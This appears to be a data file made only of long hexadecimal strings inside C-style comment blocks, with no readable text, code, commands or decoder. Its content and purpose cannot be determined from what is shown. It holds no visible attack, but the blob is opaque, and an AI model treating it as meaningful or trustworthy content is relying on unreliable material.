633b48111e7666b3373e032181e64555f0994ceab7297f7b923926ddbecc4468c5c1eba046c0cadecd619e58f5abc3b97ce1c48760406db3cae429dab850454b53bf2e65a03b6046d76aaa494e9ace115c8f1c6e8f731d9aabc516deaf225dd33ba5dde71c4d94efaed72ca0331059efeb43c3cdd2fd037362de2ad718cb8073d3db81b86d43d79481f67da2671cf7c9473fe8fc7c3491c748100c349f5a2f9b76797c7f510f836a2675840648bd22eff1e0dec89a9d60d9d29e340fb0f0f8b37db2690f70170f34627442e5947bdfc631e5ec68cfc7af31382131b007bb68049615f0b9f02997c34412104e4bc8c8e875193bf59248e262268444fc7a7e336d52ba0d5478911de510703721263ba83484f28cac88aee8126e5068b21b0179510c139e1a954fe42638bc4b8173b1738cfae8db79f85322071652b3dcc48b7a077729fb3312306eeed8a72a16956deca36bd9b6a2ae34ffc02b58bcb66fbddc423840607f6f96f6ed2bd8cbefdb7f5ac2669d77ae7c9b2e79aa330c6b4121ec6f18af410a7ca33033db0a80b9bfce8ef6760267a7a31d88de5f036269538dc3c7e5120ed37b5be4a117e16921ec44cf3f56cba0911d692d3e39132b3d171479c0586*/
/*b97d05c42e79b9e4a866c4224e466643ac3d3a25b08600c5e9eb18e7cbf05621f99d62746a0585fca43b9ca9eaf8459a2f05f4364454ee2be70085c6fca9c4b2b065b05a0cbfc68d24842cf52ebd60f57e1d35db1cabe4d1e0b265326705850706a93ac33637d11839be62ec208100b3af359de3b1cbdb429d0d5b91eb9d5447c78696c347f6c5dac7e3362ae69719b9682d775fb5ed9267c542c7d8b81a33e624554c17b8ddf5bd2732b0dc98911e1eae992c676450358463bc40abd5294d3328f8a5900ddc36e19fead265449a19656f2eab831b3ea857d58fa391a7a5648a2f3cb4b386447580329c6fa2a827c2f57638de1c6c6dd34169fa23ad21013269ef2285a6635ec5289a7441bfdea83bd942057bd954a92e8f3333900c7e18eb965fb179e11e35ff751f7d6bc602e3c98e50093ad421d358b20796a4a77f87cb3d625fa8b6aef21d25b8b09ee66999b8891c20837a435270bcf5b88bb28473886ed0808da1250c2ce918243fd395664a2be42a9c28f721750db92708d6f997caaa59954001cb6b8929040942f0118a1d7aaa98964e5770aef90bbe0323ba61d80975de661775012f50a24cdcaf160a592068673f93e38b29cf8071f4efba8a238cca7b44fec36ba86003b4c66594ac635d6a87c0d1691df1e53f34542aee41013e062039d8ee92af1085943903bbcf91ed7db3844be4fdd62cba1f179bdfc46b341b776daad2625a4b24d02c46468eaf6f070adf385c36ed7a3295bef51115036c8a4efe6e7c5fcedc06c4f88ac470141570f7c0718c7f7f13866dccd991c0751f48f36e9068c6e95c1f0442043578d4fe8843c7f7b99e0f4aeadd2cdf60711d3d256542d4b320cc685ae6652b8e90e393d3e4b9cf71f2704ab9a8e2ffb640cf286c335417dd748f8cf1c241c323a2c153500a112c135a4400060a09bd5f78c661655a9d1abd1930baea2029cb88c4400dd9022b1ed112c8753e4f6bf1cfbd3158af07cc1aecd03a9790349292a3653c328ece36747d65814dbe13878136b3a54319636f0ea67ed9d89af11bfcf711f65a4c88408a89b134186855459618929f7625c723644ea279cd0aded3daf250eb42ea45b9817c21b2a782f1c5a9bc9c490162bf90ace38bea2650b9e97a50342b838f0b8703bde1c17e785e9dbf2bc50f322a7ab62c44c0d28a1f23d7b627c48b85d288509e0644bd81f0ce3936179c5e3be4747171f7a72ec17ab84a9763f435f1769cb49450db1ba7c302e70d92a616cf025ad713aa57a88630383fccc3d24c042f5097d9a7f86362649e9b27c555e2edad6eaca36ec54fd9bde25cd1754026e3a9f75b68f2a02d7143aac09b3c42a9431a9df789bdc371fce047ee98db052a57d154087bd934349166e2abb0796695cd6ee1ad956ce0fa53bc33d2ff13db7e13fdddca57c9e9def4b176ce6c06b1b27a666888ab0ee8be8db4bc3fccde237ed03ac6e8841169dc6d12a2b0ecfd110690fc800ff3b3dc782af749af014b20b67050b5c2dcc721d89288c5bee27326e0b25ee771358f52bc272c6eb26fbf5ff2679094664b6c7f38983df9e9b10e920a64adb4c906f0942b7f4ec58d8c4322112b997f00bd42cd15db4d9f8410d70118f9acbe4655f13e891ddcc6aea1c313717c17d6152910b33dd626c02c56517f63e61b70d6538943215afcce066d02babe63b7d8602d5def8af5ca530a1863063a9e80a93902c446ae48a4de940a130537747a9d5f0d17d4ee1b7517a92793047ceed3eec2f25c4316863762c469f5423dcd10872e13b1d233af66766d7aeb15a7dcb58b9576afbbc21b09482bd80e3d32afcb80ffc5b2b0501f8827c514c1927600669a1d31a1d2a50ccf8b491e144026b55bf3371a781ee9bba58a09b6cd70e8c99b8d34ea16ce978e6c4b51d68ac0995032cf3e66e1b9cf57feb60e05507549fe3e30bf99252a2a3d3d0d5de244a4fc7b9c6221554ebbbb4d69654f18774997c5bbcaac8342478dfa7b68707aa540da7020c02264822453a22ecddb230efe547736c620de3ed7e87f1076c4b6c8e658fcb817fe9ca12dc71d8a48026f74bfea594ecd9e2bbb8a6a60df37b586df47e3567c0eba1d0b175f60cf1ca05dd2f4e9275c4b5793b2a8a8b26d4d7546beca9668673855e95eef4d1f04eb1e53f3fe421fdf3a4828da7d17ab702770493256c9b70dc804c5757db6cbd8e95996e93108e696d8374d236bbcd6ed0610934b9c326cd259695c8f807557771181a1574a19f15710f7bcd7fbd58dc2e06d245b7b2b36a66d61003df9ede9e1da3d2c494e34380ea4558188f037f2e2423f1f43eb52917b95931faeda1e78a6dadee0d0a1823197153b6339cd46ff375279685eab879084d40ab86d25a56b5d751b3cc4abaaa4f9e3f900b5f33a8dc04efb75a496744ded49753da0257491126e4945585ae1b7f25d4557cd78d5ab4a6b9ea778ca245c32c84ed0ba125c3887fe12c981a475eb92dfea901db39733787994fe2c276f2023a362925b1c611c3bff241bd360195601620cd3d1afb33803448b5612ff8017b829d799973135cf9b0ea1de34a177edfa4cbba80fedfa654eb18e4d159bdd36b81e40f6891b206777c9898dafa20cb5737dba02bded4c59775d0625e6d09fd3ddb36f9fa6bd3886790f373d295f5d704d3986b571f80e0da35ba8c0c1af3e25b2ac914958f508b7649c7776abd765b207433023bbd25a8e9c3ab738ca217699f244d1d6ee6e16740b8cdac5c55e4f206329115ba4f718d6a683fbaf54be3541e46147f307afbb0dadb97fa65a12f410dd7fde87d67f44e5c3049ef5e2c574f8*/
/*478c398c84fc49ec346067dff55c9d6b08fd1fb9f186b266c386e4f3d3cb032fe757272e090407d0f06418c793c139969fd48b777f73caee7175c3a0470f45a69af1641aca1b54841004da361a6d564258ae3a5ef1133ea92ca773819f553196e13efc9fed49650ff47ad9b905b2731aea64ef119da2d5ad90968778a31b48130de2a84d0f66502a81c1a180100c9fb566f8cd38d93a60c5eb67e87f5a3f7aa7e557e3e2a7c60d19dce942336fcef656ababafd1ce4032f26f3a5599b6cded498e281734b3a238e44eaa3c91e26cf8b157f7b214341a2087c86ae497d6c65058c8a81a8c21b963caf93a17688ebfa3f9079cc205ba66e878bcee2955bd8846a49dd79e22056dfca2eb52edf31caaa6daa58724c230f615baa84982185e1c456dde5bb1ebd1c1c13653ae64deb42f2d08c92675b6465da786904cf6aca6bdacab0f851729bbcaa77d4dbc892d98ca1dcc7e56ede3878d05ee708ae6dd88267c474b5c54e073fddf57d7b7cdac896316f43947a5d9b108fa3e0fe71cf4c8d7090c3d19a37304804d6e3a7b9d757556d342516d87addfacc607d985e581943133ae342432468e3d7826eb31d6bce90f545dcdde7b146595e2266f6051a44ac9f7ecd5153824cbee3d7cb004a467652476f0e15381534c0290956f93144c0e3ee7636b2caebcd23821e25a925e02bbe078d15e7429437bbfc95c7269cd009df1c1590dedb9fa46cb24242629ae639b2f5cdde892318fa668b1271cc2d5aa3bb685d870100d27e72927b97e25501ecd1ab54fb1bbf4ebb2707549d55810b1f71a8afe40cc84d127db4c44e4d5613f8365f72ea7ced7379a11555afada9387f4da944063307ebee0da43e0c980ee45a1771e0ac76d09218f34327bd7fc5b4fb3c3987d8afb1e1865147c72cd6d433bd8815721e930ce7145811a63b4dc1066f07bfdc30a7fa7b27c1e9821beacd60c7053e17b9e171200f3bcc6887d1010b96c7ee0bfc94ef9b5bf0be3088cf3baa909bd52701b5c0e3413b037004d46d5b3587d4f2c9684de792d5a1d969e218d4537a9cf1ec7e41a03aebcd09cf9264e9951b78b234b7253b483024e16d2cf3131b680d968741a0e7d7b392f3a7467748b1218a15631caa26e0d9dd765821eb4591f324b3bf4ee5d712116148d9a515c88e243b44bf99e6f4b9b3190b16b49bd17069b76b79a646c44a8ad50f84ed901d013e80ed0c843a98084fa79537ba5c1a92e8f996e9289c8e23c245a6864866308c79fa4408744b91d75fa9279ddcfbc3b6703188f052f317f6f624ad14b8b58df45654eab7fe849a42a3b508bbcad857b483b351dbb282353c5eed285e1d6c243c3e9f33086a9518f728ee1c29eec52a7cff1aa731a3d4a3a46187cefb807475fd3110bb43b27f44e95e8564a3e1364afb93f884f70409157e82901c0576d5cabb5d54974fb27a080ca4078c0da45c823b25cbc5bdc3a13df38f87c1b98c4713c7090fc1269bd3c70c055454c753aae15a7cdc68e4df38445d3ceb4828046ca90a16d82ec3e48d1e9b9a70f229907d120fc18fd857ae96a81b7451bc13f87153b457da8a6173a03f74c3ef990e341fdcf65d0422005f508628b72d4c3c223ceec5f3d94c8151ca5526e4d8ca3ac68aecb4f9d8ef4ab4b73f6e2f2eb0bfa10abc4467d3001897fafd8de7e1d2663f3378035e06874ea89fb4bf63431fcec1dc52499c540edd9bf03cf6ace6de1700ca47eb93126bcc0187b03cc3d65c40a6ed50e83697b720096f020e58eec02142939b235df1f2c0d08f63cfe7c576333c286c04f3c3925d3b4556947b312dd9d2b3bf6e0a9fa61491bdbd7e4ba4ce3dbda2cce4c672db0138230824509b169041ff1c043d01ec8f7d7332ef5c5b35122aa72aac6f72aff384f96c8c59a46169bc9a4a5651c77dfb118e03f192873ccaccb1385240e0fd52d0d72ff52a6faa7bbecc08244742c2931fccfb6ec2b9818c5e73caa0e41578a9eb14f7e765dc3656dc4eff86396354c7e0bb0f456ead23ae9029459d4ad7ce68d7ec9c5e9907cf9395d44e7aea7d3a9244acb3a27534a715dccefcc3e9ae866787a5e0155c361eac83a719fe783e7b13f2fb28ef3e67490c54cb0faff7f1297510cf53ecb119f7b381bf90e243f596635699a8f9518fba544e6bf4dcba7ab5f53e7b2c39dc966b4bfdae3e080267315ebd3bbbc8a76861d0e6cde4b67c0ba092e4a739eb88936da4dac066c246e139c8e92abb6cfd1fe4bf4d0e1f9d394de73768d16cfbd2f393fef9d418df04a0421462d4d9419df3b5f29300b93bb6bfd7f3130ed1b8b1d3058bd9df768660e69d71e8a6e9d124a1fc8433f00d151918f17ff593d306fdf2284efc16fc9c827f09488a92f6e5700c815f930d1ef90f9a88b6983c2c0998b5c665e8b41b05dcd6aa3f0588ade039069e19db89630f8f35d7bffe1cd94a6aa59d016040b54874af096c80a2d9eabb70e1980b1b32074a09992217fa5a2731cc295a494804aee79879e96946854ca649fd2160ab8da0c3ddef90fee40bcc52ed5ef346527eb2eb5a61855f3919e11a698d30d265ae0c4997580f6068182197adabd218f260bb71f1a284231ea6b282b0587eb37abacff09a4c12417c9708cadd9b5c8af712700297316b1aac6be3fbef22a524c708dfe0cecc8bae1e2603c78d1d05206c84c56d8d1a2b19f5da944b470fd8de64efe8180e9c526095fae70dde826d0c48b187ae6985fca4acdc3f0c56e6bcf375d5c304983fde9306de05bbfcce803120ebf1f7af05327c02f264de649d8ee0ebdaf76b02f7af5cd75a2eba53b5870e4e10fe1df52a8*/
/*26a1a3c5e838a91c7881f1789e2d88d7c8a3d43a8965d4c7d356e2da036989b138384d5125d9843e33c679b37e53cbfec9570aa994b4703945d51a7b28c96c2ee98e7465cc60f7c4200e5b6e0c74d4bdc30f15704696ba7da1dff96de62d935470eb14a8ebe2aadd2ea4adf5a3ac2e1c1912a980669b5cd5d16129fa3cc16f345f92bfbd66bdab7dcbfb38c65aa20ff9ad59b2b5343d45b95e7653e65d0148af532ae30a780e8a8c0ee0f2876f5ba05aa2ad6616b06676034920753d80b12a89dd299a99cd603a69ea88a949da9902284f0799ab6669b848b94d5154fc2a37fd82fc56dbdfe1f2bf2e61532c4c91b85ffb1bd3905b1cf9b0f93924fcb3784dca2d7f8169db0e3d609f52457116a526062140066510a41c5e1e5dde615f9179dd3543ff451a19f49a426b70de03394259908315afea73869916990559f2b7f3664ad66f32ff9b2c7c9c2d57ca1ff93b72a88ed5938a961453ede12580572c53f9a41642e91b0ca9a3b72b2cae6a732d62ffff1604ba4361e50fa67e6c5b607568fb8ed6879f6c0d4fabee3a02e79dcb89b2a347dc10d00e3444478a54b3990ac5ac48159dea62b921d4e59b0e8ef588a5861c41deda5b83a7786b0d695b951bd6679f703db1d887cb49b9122fa6cc9fd5c691791bb5dd19c5bf16f564f17dd75372429e32246ea4328cb0e4bfdba8c11a769d5a0b68c8b61a451f7a2a00123787fe0c5826b17f446827385232e0a62e2cdd23610d91138b6450bc35a5415cabdf2cc22473ae51c1466611f28178159de78bda0536b3ae4c91ee30bd97de8d995bd6941b9f8432a7fa8d6118dcb8ca4a8f7b17b4ce8ebfc0ba20a8970968e5ef857249230e9f9e28ee2adfa7ab02205f7050252fd4c93ab866c1d56a22bf64f212500663ef334e039f9cb5cf4241e0835a962b6f1e64bb5188ec1e7c8c73cce5b8f7be8cc158f1c032ac5865c9a4a5ea453ff70f9788b8735501661c4663a80b035bcc64f97ccf8cf033c83e5384896e9443afbe043c0353c4fb20df5a634c96badfdafe5950fb777151dc37b3cbd6213a55bae9193dfc50e3c8a3e94e7c4045261df289eefade0797d6e68969cc52f7686da40679a74904bd8019544a6448950577a1803ad775dacd50a4aa8295d29d4975142cfe35281c9a41280ec8d4499d6a5ad87bd46c56cb95fab975f4fce7eddd1606677cdd3061c54124e35ccf17015023d2712825761ed9aeff27b3f0f75167e75216b4be79d51758dc4e2656dc37a99d6cabcb8ddd5fd6579097a78676f3c6a99419c84adede300e774150c46b29734e5e78311c0f606e6ddb5aeeaa13e1ea7e946a3ae73a676ff885f1b549a8b5bbe30e64efd1f40de75a3902709c38f5e91b28847a4d4a302559c19d4cd4156313f7a716575d22574434213807fb1e03ba4671f5cd790b72eec7b1e10f2ba66d470fc24ff45d3a372cdeb330487d09c56788171ac7cfd4db8be0bcd2136d98cbe9ab4686a41870b84a75b1f6db85c14e56172187100857d377bbe88b5d9d97226db52b111985e5f9e82fb041b59d685c1816b5a1207e10e49a623826d139badc61fd8ae836368c175c49946d42b0b153ab74921e0c373cafc4b62ca2bb6158f3a7c203baccee5d9247f47c90058c3934fb609c6e79fcc52e3a2d7225aa98b35c55b41717e054cf86fee987cb2765003a20b01e6409591c89f90cee600933a37ba1fa6688ff4af5de128f51543c60a3c89ea476d1b2f3a01dcbb3a2999351e7fb17c1c1bd88e9330acd5844530fd651df53d456efbf4aff78332ba30faf7592a44d6de1248c778afc67fb1e45219c5bed76374e4fca18d3f7368bceccff8d6b2d281da0b99a382fa982153357382c575cb9a2d96abe2487a65d2e23e1f74c8cb8c527260c625bda470f36a8d32ecd350d771c046d4500b839794d908e447b74ef7a1b36ee07a37172e1483000c5643ebd61b9d287b6ac3619cd2fc50db9966ec7b1c007dd4b40b8ecbd1bd511a13e3bcb7b93eceef155dbada9fedb789cda8789cc86e877aee9c1a8e3089ba1de0978334085541b0a5c013474816de12fc88170f9197f8144d6aaaa494e34d949a637c5f4ec6326746e2363866ef667fbfd46ca0b3156db7fffa64412d85b0f8dbc7bea570e8b7db52af96032829314793f768756204089bdda1b897bc669eaff4610c0e150e87be04af6d28292e9bb02516d88f782382c823289d8e5af689f654fc846ded22b8bf5137fa13969cf106b5407c7956db039d61d9828b6356c37652f8c793cb34db4063ad77bf38dfb2872639a7ce9fc800fce6597dd63261a57c2463f4d4526a04b5f2900637fbe2f59077076e97a74a84d9f19b41567162addd740069e5fd83ec937cae815ed51a039199559c3c1b1af581429ecd3302b3d7b3cff1316b37f898381161714f863b65fe59eb503eaedf2cce4871bdd65ffa5c2b17ee992ae5b741bda98c1665cce966ebfd11737cd0a6bc96fcbf3eccf6cfdd4e976bb9bdfcfde355d53a023df3ae355baaddab91484271fb77be448c481a3907b132997186dc669fca6e351817adf3f9cc72fb5562f5bbf5cc650ee8f93c09abbd1818bf718c72bc64ebc6b83f277c26e0c5eb2ff44528adf7288dba746bf334c129d2f857416d4749f05f7776c55c038b3e9dd572be572144ae3a13df22c322d66f63146e7cd7bdbd9c8898af2b27fbb5b7d36ae819f2d33c8c61887137aef29d9e976c24027b8fbd026f841284bca1d4a87a62b683d499e804c1613429abf97e082c002c8132ebb6645a4ede1a9d734cdafcb7f9ba466fbca37dab86954ce320f7ef66d*/
/*a19ad20fdd0edb3f723ed8c0b97269fb87604c88ea05996f1903c19381cdb8501726599442a30cd1a726f38ed265c9ef7930728f94a9a46da54591b11d2ca27afa8948fff33735cb28d9e9406882245765b6e12770d3c7a64fd7a6c714fbc4123e6ff9f0ed9d8afd4000a4d3a41c85492753c2d22ff31058bc02973b7107a58a0e85a161266e059b8e0f0ba0044dc8eddfbb2fcd1a9aade9a850f7aebe40b0f752c300919f1c32d8de7a904ca6a0243882e67c2da8c30787721a87e1fea935861e5f017cc303ed9db4a58b4705a3bccf14037ce65c672703e4bc7c5ca5da0edf01dacaa839add899fde13fa456c6a4f5e88b32a4523d8a7503386f78d297ac3b43618b7d83d5989b42abfaae2fbbf05993f4ab92f372d6d62b33a79b22fbcdd9eda1c49b34e2363607cc965079166b95a9da029e60f023ecf42c9d9868c1cf802087d5b18a789e1db08350a80f643f4d5d27049d43506fc7520245385b02fd1128acc88af79d9ca18b1196b2453b52dacc9ae2fb11c39fdc415fb6241fb45244a17673a8b46417f35b8fc817041421ebdd7ee325facc1b76999799c82cd82bc477e200954b0c379b18b966a955d6bd5392932774dbf76fd0719b83ecc2b2a5ae8ceb022afe4f7d0f3ec1d1a358409f719f179e103cc14bd695d4877534e0b435fe150b11f95ac40035d15c6df295fc797a35428119bcbbf7c595cd6a663b69d3e33ae1ba2fffd0562007162b4ee29c0f8f86fc82bf55f1efa152336c803dd357d4bf5dde1c5876e1006f2eddeeea85c1e0d6e7407587793bd91661e50abe9b622ec1a5e632acd254e426d53f28cbaae866a753a91868789efc7128ad4cc9c1742196dcdef066897c0ce5e8547faf86986093e4303de5fba34e9eba4a46d19b1c7d9aaba7a9f7070f9d4ac7a7afbca697e715a35eb7f925aeff0f12472a160bdf156b386bd71ca76902661fc4de2a4d56a30f8046d3f44582896b4817e9ba263e858b3a79ef72da0d8c0c0e8241e0f5428b73efb1f88978e0f6bcc0436cb819aa0a8cf338679ba9c66f0b9b993c6f891a05c3744fa023c9983e114d86d760e71d0db02846c15e518038c3d40a1c730f3fd7b1c3af81d271c3fab11a6b95175613783bf7fc2171fbeb9617db6ca5c4f6be2c4be191235a24035024fe6e17f55e92240450166d601c06856cd697e3011449936ebee137b93630bf85cc4344368513a8dfca843c18d3c36629efd56f1bd9af42e39512b9aa70df6e4cc378f5f6f2296021054f9a95593f126c4e96981f4465cec8d585afffee5bd40cb307bbf51782d7cabb16e3220285aa2c64ec74c0a45aa6d67156a2becabd72100f3da1df6a00340773b8bbef7f1d49f62d3756068ae672d66741cbc248d77f8abdbf9a490d75dd9f32be56640ec7d36b1f224825ff7b250047c1809327e2e648996c097542abd07b2082e4fceb146fce6bd2ec4b34fcd3dccef670c13879ec48216dfb40c3493d9ef31d467cde8ea8b1185e96d93c358f2bed0d8140e4af00011800e8f409cf062df7c14b7d70e6fad6ba82d23e22266cd38159aae310db5c0acab9d56940c6ee02b23f5805f087864b34f2289ffdb4e774ddefc89df4ceb7209c658b38c9dbbd237f735c8146f7f2002f53731e4c6ad08300963c488b22baba3739e1f893da36f6cf5f684b1e731f27de5257b955ae9bf25d4d85a83e3baad6b0a202cd0a7981e80988399701528e04408cbfc309313d6438718ce39f15fca6530ecbd0fabe1d160fd2b9f0cd706b293060fcb79c1b892588bc622e2c66149078be69fc36dbcbc24c69419785dee3c69bd13684cd8d39655c56bd0169549cb4226e98c2f7ec033869fa65644266868e9231087ad0996917c25f7415423f32d658adf938c036b97c9876d503fa01217453724dd25c61277a0c82545a3501efb768bdf0340f1e1dc5106f3925fcd88e49314d2447986277f4b9bc4f01af53f79c5dfbd4a59bb111c034ca4091b186e85a5337b3c4cc0e9dadc87970f471ccc6ab6ea98366e1c5feb03963fb223ede1598b5fd9262e8245e5ff801ea18b11b2644084d443b9cf9da400b830eee309cd975b5ff646feb97298497af3d41135639ed61cad9fe75d3be9e4266e2548daaf9b8ecabe4d483d62fd02d941099e070303e5090b129e1707b52b527d0af483d6b01860fe96d3501a7811a1e1020b0235cb240bab79dfc26cdaf59c3893343a3c8b7c8e876ebc8b80ab8726a53e90caf854ff348ab9fe026242cecba9c6130ccbbc4b442fc26e558f0a39ff7054e7a1dfece4e68bcf5305be67270d99ccc38ca916b791e076c5984e5963267311f7077fe670e615904a0a14b73e10d3fd8447214dc37897334a4ff899308e303389c079794437ace6bbcfe5021abbeefd4303c96e531a89efa97498cdde160ee8737857a0f9aafedfd6eede36af547529f46e23cf40fc54daf2398be6929d94935c50b0476d144932cad0af4747f9d3570ea498d4cde4658183fe8a7d85f311dbc45e334ef6e998ab081fb265b47bc2ae153e9e39bed688cdc544ad285542dc95bf74e919a85eb8d90553163df44f252a1e1e0ef70ef2a59969283a8357e08a347cdf7cee8645a572d4a4a6cfef38280ec4d847fde4d89e4d5b84050b460d6b2bd5f8c28e101edf9bc51ff30adba174546f4afb4f314f995f212b1a5948edd67f7ed87591b05b2924dfc0ab3087f6c16e0874caa642a4f64037bd9001454dedb82e79d95a458738fcffd9e3caf2747bd6908bd3231280469d3042b741ad55a9ac6f87a64790c73a8e8b4040fd782ad11d2368a13adb3e33275cea5*/
/*cd74cc57821088f09986781a737167c7b63463e870085f521faec0bf947819cc80c40b204ed32be3cfd801f7cf285d04cc242c90c786275ad8a06dde63841556f32de0aad032d38150b238d9abd5a3d93d7faab0a8770e2b6526ffd2aac093305efb72957669d8ed1a9e5e4ef2c4a6475428d0ee212a99faf78864f3b796419ec87fb062f0cc3a2c4b2c9157b5c7c7ad17aad3c6e089c3ce908a6c5342e37f87a516257a1708f5a822aa9c7a5b5f177639577eaa71511636acfa7699ac4092857926c939fb95a48ed64762ca32f07c0934af57eb4b0764b1bd7bfae0cdf4cf744a4cc5647c4aaf5746bd2c41425f7433990e432cff1544790f09be976dcd665cbb1ee18998ee4a0b55932d76b3a40a5956dd36b41d4c45ef0379fc050356dfe1803d59500b8d0c13cd9ab00a8dace9a6e07e4d466b5bf38758d53621eb1ddaa23f30a4cafa5917841fb43c71269b1e4344192778defa76d471d2b1b4968a06c96d4dfeef0c55e0a4e1a7036837a5c30838a2b40f7bffb70504ec5bcb87444d6817025684a9ced1e45b535a16e0dd4714d9dffcf5ae66fa6639c6352508a2463728e55bf7cd264b5c3ad26d29495109b554eae04a19a345df6fd0e2756e18fe53a90f6efb167003cbb13ad24289b0e98fcf42fdb0bd79fbd1470e8ec825621d7fc21f95e7d284c14e89d2a1d9811f53646d7e0fe200c95a2fa1a0d12865f53077bfdd282fd59d688df031b4726a2bbb3a42abbac95b1dd7faabd48b070f089a7ac2cef888afbd7598c77177f8d00282ec9b8ce714bf62ae80393db8cf09e59f3d0f172b3fd1c3651e41bac0ee4316f48784038b36fddbf441a9bab7b202040d961a6bddd836aabb8a9c8ca26e6ba6cf0dffedaa46dbf11efd3102fffa974f893911653932fc869b97f6339065d6d66e6a7621837cae5573f6856ef40a047d28135ae6eb7aa6ad571058c2942c5dd2a97bafa7511deba1e6d9bd669cdf15a7e308c7933d1cd2524338cee5b769e40c435249161cc02a91b4d63457c3ba52f949bb0b312923053a3fe8de6c9b57969ecb916cbe0c6464822f709cd0827b73a3192af1df289d2e56e6e2f6a65c5aaf1abb5a5d8d4b9981d494c515eb432d735b2dd064afe8cfd0a477520d99e72a1a3a4f029b170fd3827a90236873cfebcb0a0c3c96fdd61ec27b9588ed267c416dfca7f6ef32ab7d665e901672e82d945ec61abd2106508e3ac92b36078b555faf036bdc0a3fbdd8d6611c3640ad622444453ffef02332265400ac0a9326d3bfb898153621732d2b473f7a64f1bf55b30c6183649b6522df2144c50c8a5b67aafcc1e534f17f51cde543b129a4139cb04e727b6bb2a77419b3e667462a20a48962b20092671bf7bc1a6907549454ea4180ec3c4224d7b3b5b530545005856c90afc85d3b19a18d11a29ab11152a054f54f60ebb07e0c8c582effa954b71bba1f7bc8f66319ad099eb3e2059c4be79cf6cf03b275300c12da46f327bb67ee6eb26c8117ed0b1deed2bbf32b77235f1bb545840c59ed328cd2281bea2eef56c2ac77b646c636cc00b27488c2d70f1963e1c537bc481a41b49d25c5451e0271fededf7bd3749f07106fcc84d4fd7bd962a42f0119a77f879fc7d5a788a03c77ab982fa0e7a9b37b7400beeece2c54ee4e523f11670909f5ef5a0f2a4bdf8f84750cc9aca528bfadf83972c2f4970fc30588377c3e181462d39d7a1747a0a4c3bf58997b86de5fc42f669125a302e859797ef83cf38489767e16bb1bc76b94b99d6a1a4c0acd7fa23db06122551e2cba203700d40a0c1511fe119855b0961b9d9b3062cb50a684cf887c77cd7eaa428ce22d2e64dbada1a3769127ed73c76db9c82968271cfd1c0577153c4251f0685ce7d94ae5a4fcba17965f974842078b7980a2292e383fa186a896a9b353d95e750e0636a666ebcddc91be1978dcea566146b48764dd7c25bd0aa941759f4ff1a2afc2d1448b2f63e085c7edb32513582dbf84259e3166d9945881eaf5c1bc3266c68405e96a25a85f12a1ebbddb261c13f10d66e88291c9a2d9c8e56530a775bbfb50819aea9b2e8d0e131240b05bd79298fef8e4a0c0e48c3a46d34ecba9bd6a2650c77533aeae4619598cf55f44e8c3ff28a5d493944c308a07bb6bc95d7e8df8f49776a83681a72c08c8d27508ab5bedc32f300398900ffbdfaebc68db77be0f6ed787026762efea788ce7bc815ddf2b48b5e111f8e6396873b55f3a134232498acd3c342a50a2ee66ff81aad84b2e261d6c05a7fe670e5690b35edb74e6cb24650f0a6f54f36cd17bb9d2bb8873ccfeb6974ec90cbf52a84b91db8b64ffb43a1656f3dee5382a1168136d5d2b523211842519f50b23e30c575703e9beaa37c11aa2f7778c65c530d1abc21d1f4cb33e91787d29c8cdbf1f6c2a894de67b841018b8f1c8694b055bd237a0cb413cfd3217e029e47076c8ff9a653d96e5d441d7c338490af5922b0edd1f749e2deb133cab9a39ed06a02f05d96822c1a1749c4e8c22c394bb9c32ba3ad01c38e161ef371792ac9b8b2080dc2bd631d3b5ad382d4de2ac9a4325407031923dabc9fd6b01882d8cb8afffd69467ad27ef46daa69a01ec700cd3bc33d2196ed9da12cbf65588edee26ce321fe6cd89e6ca421283f01a7489728745c24c578af552186096582ed7b766fa120355e65bf33d9be644771d9aa8b6f835fc51e668d49404c56fe8edb252d7647a032a3db4fb2cb8552333dc6d76e3913ff25e8e4b7ae9da0ad1168e9b2d90b0e7ad2ff022f574de19d7cecde2183f354b622ba6fc393954f6151a7975b8dbec*/
/*6df53d1fde13f5927f7292391f38e4c7fe5798c077835dff3553ec05877618e29914c403bb49af1969860149850bd8ae560b7fb62e2440c59ac289d8e94b1d52876deed87b0b9543a137acec78d938ee5546ca9365e3e8edfd01404b343077bcd497af4aa44d0809339ceaca48416779b29e8b1719e8dd5a072b92841725cf866ae32c36658cefced5a6d4a0c3d8496cbd4a57484b8a5d369bb3ac2113a29c30544d42c8139ee08bb2a3e1dcba413de930b1906011dcc3bd62667558018205a147d5b5666095ad33e5369c359e42144f4383cc2aa059bf1416e8ce209ceadd5fee8c233341990b95ebd91c3c2cc414948290cd9ca7a217bcb8f12440f4cd583e49cc28a624cf16c2169cf683a329a5ae262730547243ed62894b55cd1b1663e427856aaeabefcc2a11a0377de9723b2ba86d31c56dca1cff20d69f276eb688be29f21db823d3cb52311919052498202d6eb45b89d470875dabdc1e04063680cb9243f66894ce4fb0ddde949dca3b0d20c35544a690eeb38e797e66e877f0929f21058031a6653f795e751168f27809798c7753fbdb42d3eb39b1f4f12531b06a1428920a010e34585e68c8527573edfa2e41fd6d8e80831c5f78bcb379f4077a2f24dc61a525553c18009bfff8a07132e8f28b118c0c7f3ee960d64a80dea9e3b8fa1a9cc8a50fb913725380847dcdf6533779c58293b7e8ba187769bdef9147fd1929f1e58f56cdb7ec3c12c603dcf60ef54217017ac0381d006a1147ad4b5f2628a02ce7c7da1c72a8825c5cca3ecb93d03df943ac518d5dc542a3541950c4d451009c79634a73860dca8ff97583c69a6fd828dacdc9c438ddd4ff6579d1fe7fbeab02e17a13312d7865ea55e54a81be05d20d7fca73afc8d32d19f2b993c8c17c95744d6c9a30bba75375565dd01954269650e43f67b824cc4ff9ee4bc048962b978de110cece40f4c80a2cb12a9fbe6d0c286fe34f3f267e0a3ec98fe6b63e73059afd8e6f1e4192b4c003f31ab839217bd6ba836060d71de4d5839682b77e518f0b864f26e0dc30f7cfcdb65ed476f90230f001183c9be4d02482ef462797ecf3aaef3b13c25a21c8589862c60f7e7709e415262e7ab4fa4966052c6277c914f5cdc2a048c8d6bc2e8124ceebff8ab445e1758f544b3caa2b45e9ab9999d8245e60dd8c67bebdb72eda2170c7456ef2190b9358fe45de48f01a6f43efec74e449b07e3e4a664d920e4a323d8a76f37a2b7ff65db5050511ecc1a6f41117b0317c423e32a6e427c0d94dd1f3e4d748e5c3ce1c39eafee4b6181ede703aeda4122ae95b6cd7d7565f24f3c45a46ab3ecf0182782c0fc574c03f5360ad2a1d8c57f33514091392e7471097f840b4e3334c01b2115b53c26a387b8e42894c597c5235d4332c6bf8cccfa2123eb24d61d6195c1d88eacdda50745342d6080e100f516cffa43fadabc9fd2ebe2038e0bb74d9aaa890a03f208dcd26967da268d128097c36a209a9dae88b255f96b64b34ab515df5135387c370a8f511e2ab